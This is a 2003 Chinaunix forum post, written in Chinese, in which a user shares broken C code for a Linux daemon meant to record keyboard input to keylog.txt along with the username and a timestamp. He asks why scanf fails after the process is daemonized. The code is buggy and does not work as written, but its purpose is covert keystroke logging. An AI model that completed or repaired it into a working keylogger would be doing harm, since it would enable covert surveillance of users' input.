Chinaunix

标题: 我用c在linuc下编写了一个记录键盘输入的守护进程! [打印本页]

作者: duhengliang    时间: 2003-02-11 10:02
标题: 我用c在linuc下编写了一个记录键盘输入的守护进程!
现在问题是:
1   keylog.c文件中是用时间来做呢,还是用循环来做获得键盘的输入!
2   假如不做成damon,光一个keylog.c再加一个for循环就可以,但做成damon后,好想就不能用scanf了,否则的到得是乱码!请大家帮我看看,怎么做!!!!

////////////////////////////////////////////////init.c/////////////////////
#include<unistd.h>;
#include<signal.h>;
#include<sys/param.h>;
#include<sys/types.h>;
#include<sys/stat.h>;

void init_daemon(void)
{
int pid;
int i;

if(pid=fork())
exit(0);//..........
else if(pid< 0)
exit(1);//fork.....
//.............

setsid();//..................
//........
if(pid=fork())
exit(0);//..............
else if(pid< 0)
exit(1);//fork.....
//.........
//............

for(i=0;i< NOFILE;++i)//..........
close(i);
chdir("/tmp";//......./tmp
umask(0);//........
return;
}
///////////////////////////////////////keylog.c//////////////////////////////////
#include<stdio.h>;
#include<time.h>;
#include <unistd.h>;
#include <pwd.h>;
#include <sys/types.h>;

void init_daemon(void);//.........

main()
{       // get uid codes start
        pid_t my_pid,parent_pid;
        uid_t my_uid,my_euid;
        gid_t my_gid,my_egid;
        struct passwd *my_info;

        my_pid=getpid();
        parent_pid=getppid();
        my_uid=getuid();
        my_euid=geteuid();
        my_gid=getgid();
        my_egid=getegid();
        my_info=getpwuid(my_uid);

        //printf("rocess ID:%ld\n",my_pid);
        //printf("arent ID:%ld\n",parent_pid);
        //printf("User ID:%ld\n",my_uid);
        //printf("Effective User ID:%ld\n",my_euid);
        //printf("Group ID:%ld\n",my_gid);
        //printf("Effective Group ID:%ld\n",my_egid);

        //if(my_info)
        //{
                //printf("My Login Name:%s\n" ,my_info->;pw_name);
                //printf("My Password :%s\n" ,my_info->;pw_passwd);
                //printf("My User ID :%ld\n",my_info->;pw_uid);
                //printf("My Group ID :%ld\n",my_info->;pw_gid);
                //printf("My Real Name:%s\n" ,my_info->;pw_gecos);
                //printf("My Home Dir :%s\n", my_info->;pw_dir);
                //printf("My Work Shell:%s\n", my_info->;pw_shell);
        //      }
        //      get uid codes end!

        FILE *fp;
        time_t t;
        init_daemon();//....Daemon
        char keystr[50];
        int i=0;
        scanf("%s",&amp;keystr);
        if((fp=fopen("keylog.txt","ab+")>;0);
                  {
                      t=time(0);
                      fseek(fp,0,SEEK_END);
                      fprintf(fp,"<Command-%d>;: %s <By>;: %s <When>;: %s\n",++i,&amp;keystr,my_info->;pw_name,asctime(localtime(&amp;t)) );
                      fclose(fp);
                  }

}




欢迎光临 Chinaunix (http://bbs.chinaunix.net/) Powered by Discuz! X3.2